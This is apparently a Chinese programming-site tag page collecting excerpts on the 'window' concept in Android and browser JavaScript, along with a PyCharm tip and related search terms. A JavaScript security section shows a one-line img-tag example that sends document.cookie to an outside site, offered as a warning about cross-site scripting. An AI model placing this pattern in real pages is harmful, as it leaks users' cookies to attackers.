window相关知识
-
Android Window系列(一)- window与decorview概述 window是android中非常常见的一个概念。Activity、Dialog、Toast这些常用的知识点都是和window密不可分的。 因此,笔者整理了下window相关的知识,期望能对需要的读者有所帮助。 window官方描述 Window源码中对window的描述如下: /** * Abstract base class for a top-level window look and behavior policy. An * instance of this class should be used as the top-level view added to the * window manager. It provides standard UI polic
-
深入理解WindowAndroid中所有的视图(View)都是通过Window来呈现的,不管是Activity、Dialog还是Toast,它们的视图实际上都是附加在Window上的,因此Window实际是View的直接管理者。本文就从源码来分析一下Window,理清Window是如何组织视图(View)以及Activity的PhoneWindow的工作原理。本文不会去讨论Window的详细使用。分析之前,我们先找一个切入点,以下面这段代码为例:WindowTestActivity.java// example 1val simpleTv = getSimpleTextView() windowManager.addView(simpleTv, getSimpleWindowLayoutParams()) //example 2window.addContentView(getSimpleTextView(), ViewGroup.L
-
Android Window 启动过程不管是 Activity 还是 Dialog 都有一个 window 对象,对应的 view 属于 window,用户对于界面最直接的感知就是 window,理解和掌握 window 的启动过程对于开发者而言尤为重要,以下主要分析 Activity 的 window 启动过程。注,以下代码都是基于 api=26。我们从 Activity.attach 方法开始讲,在这个方法里,完成 window 实例的创建。(该方法在什么时候调用的,在这里不分析,有兴趣的朋友可以看另一篇文章: https://www.jianshu.com/p/7a904184afc6)final void attach(Context context, ActivityThread aThread,... { ... mWindow = new PhoneWindow(this, windo
-
Android Window 9问9答之前刚分享过一篇Android View绘制13问13答,这篇文章是关于Android Window的9个问题及其答案。1.简述一下window是什么?在android体系里 扮演什么角色?答:window就是一个抽象类,他的实现类是phoneWindow。我们一般通过windowManager 来访问window。就是windowmanager 和windowmanagerservice的交互。此外 android中 你所有能看到的视图,activity,dialog,toast等 都是附加在window上的。window就是view的直接管理者。2.如何使用windowmanager添加一个view?答:Button bt = new Button(this); bt.setText("button here");
window相关课程
window相关教程
- 3. window.window.window.window…window window 对象下还有一个名为 window 的属性,其指向 window 对象。也就是说可以像套娃一样无限套。这样设计也是有原因的,假设没有 window.window 这个属性,那就访问不到全局的 window 了,这就等于不能直接访问到全局对象,如果想要访问直接访问 window 对象,则必须自建一个变量用于放置 window 对象。var window = this; // 在代码最外层window.location.href = 'https://imooc.com';
- 5.3 变量在 window 上 在最外层声明的变量(不包括 ES6 模块的情况),实际上是变成了 window 对象的一个属性。var number = 996;console.log(number); // 输出:996console.log(window.number); // 输出:996上述代码执行后输出的两个内容是一样的,都为 996。有关 window 对象的内容可以参考 BOM 章节。细心的读者应该会注意到最外层这个条件,因为变量还有可能声明在函数之中,函数有自己独立的作用域,通常在函数中使用 var 关键字声明的变量,只在函数中有效。至于为什么可以省略 window 直接访问到变量,可以参考作用域链章节。
- 2.3 window 下的全局变量 Window 下面带了很多可以直接使用的全局变量,要警惕危险。危险点:利用 window.document 获取本域 cookie 然后传输到黑客的网站<img src='别的网站URL?param='+document.cookie >容易受跨站脚本攻击利用window.location.href = 【该值最好不要是动态的,容易被注入】
- 5.4 项目之间切换 PyCharm 是允许在不同窗口打开多个项目的,如何在多个打开项目中切换呢?使用下面的命令:Window -> Next Project Window Window -> Previous Project Window
- 2.6 其他大部分情况下 排开上述的几个情况,剩下的函数大部分情况下在调用时,this 指向的是全局对象,在浏览器中就是 window 对象。function fn() { console.log(this); console.log(this === window);}fn();这样调用函数,其 this 指向的就是 window 对象了。有的时候可能会搞混以下情况:var object = { username: '咸鱼', fn: function() { console.log(this.username); function thisTest() { console.log(this.username); console.log(this === window); } thisTest(); },};object.fn();这里 thisTest 方法输出的 username 就会是个 undefined,因为他的 this 指向的是 window,因为他不属于 object 对象的一个方法,所以 this 就指向了 window。在回调函数中经常会碰到这个问题:var info = { account: '123', password: '456', login: function(cb) { setTimeout(function() { cb({ account: this.account, password: this.password, }); }, 1000); }};info.login(function(info) { console.log(info);});这里回调函数获取的账号和密码是 undefined,原因就是 this 的指向问题。通常会使用保留上层 this 的方式解决这个问题。var info = { account: '123', password: '456', login: function(cb) { var _this = this; setTimeout(function() { cb({ account: _this.account, password: _this.password, }); }, 1000); }};info.login(function(info) { console.log(info);});这样就能解决这个问题。另外一个情况也很容易混淆 this :var object = { user: 'no.1', say: function() { console.log(this.user); },};var say = object.say;object.say(); // 输出:"no.1"say(); // 输出:undefined这是因为把 object 下的 say 方法单独赋值给 say 变量的时候,其就作为了 window 下的一个方法,所以他的 this 指向的是 window。在严格模式中,这种情况下的 this 会变成 undefined。
- 2. 理解 BOM、DOM、JS 的关系 部分读者可能会进入一个难以理解的怪圈。全局的对象,如 String、Boolean、Function,或者一些方法 parseInt,isNaN,甚至是 DOM 的入口 document,这些都是被放在 window 下供开发者访问的。而 BOM 没有自己的标准,也基本和这些东西没有半毛关系,为什么这些内容会被放在作为 BOM 操作的入口的 window 对象下呢?之前也有提过,JavaScript 有他自己独立的标准,本身是不具备和浏览器交互的特性的,交互的接口都由浏览器来提供。在 ECMAScript 的标准中,这些全局的对象都是被放在 Global 上的,而标准又没指出如何直接访问 Global 对象,所以在浏览器上这个所谓的 Global 就被 window 对象所替代,所有 Global 下的内容全部被放到了 window 下。window 对象就这样作为了全局对象,并且 DOM 相关的内容,与窗口交互的方式都放在了 window 对象下。扩展:globalThisglobalThis 指向当前环境的全局的this,也可以理解为指向全局对象。这个属性在浏览器中指向的就会是 window,而在 node 环境下指向的就是 global。这个属性最大的好处就是开发通用的库不必要再使用 window 或 global 这样的标志性对象来判断当前的宿主环境。需要注意的是 globalThis 还是试验性的内容,chrome 和 新版本的 node 已经支持。
window相关搜索
-
w3cshool
w3c标准
w3c菜鸟
w3c验证
walk
wall
warn
web
web py
web service
web services
webbrowser
webgl
webmaster
webservices
webservice教程
webservice接口
webservice调用
websocket
webview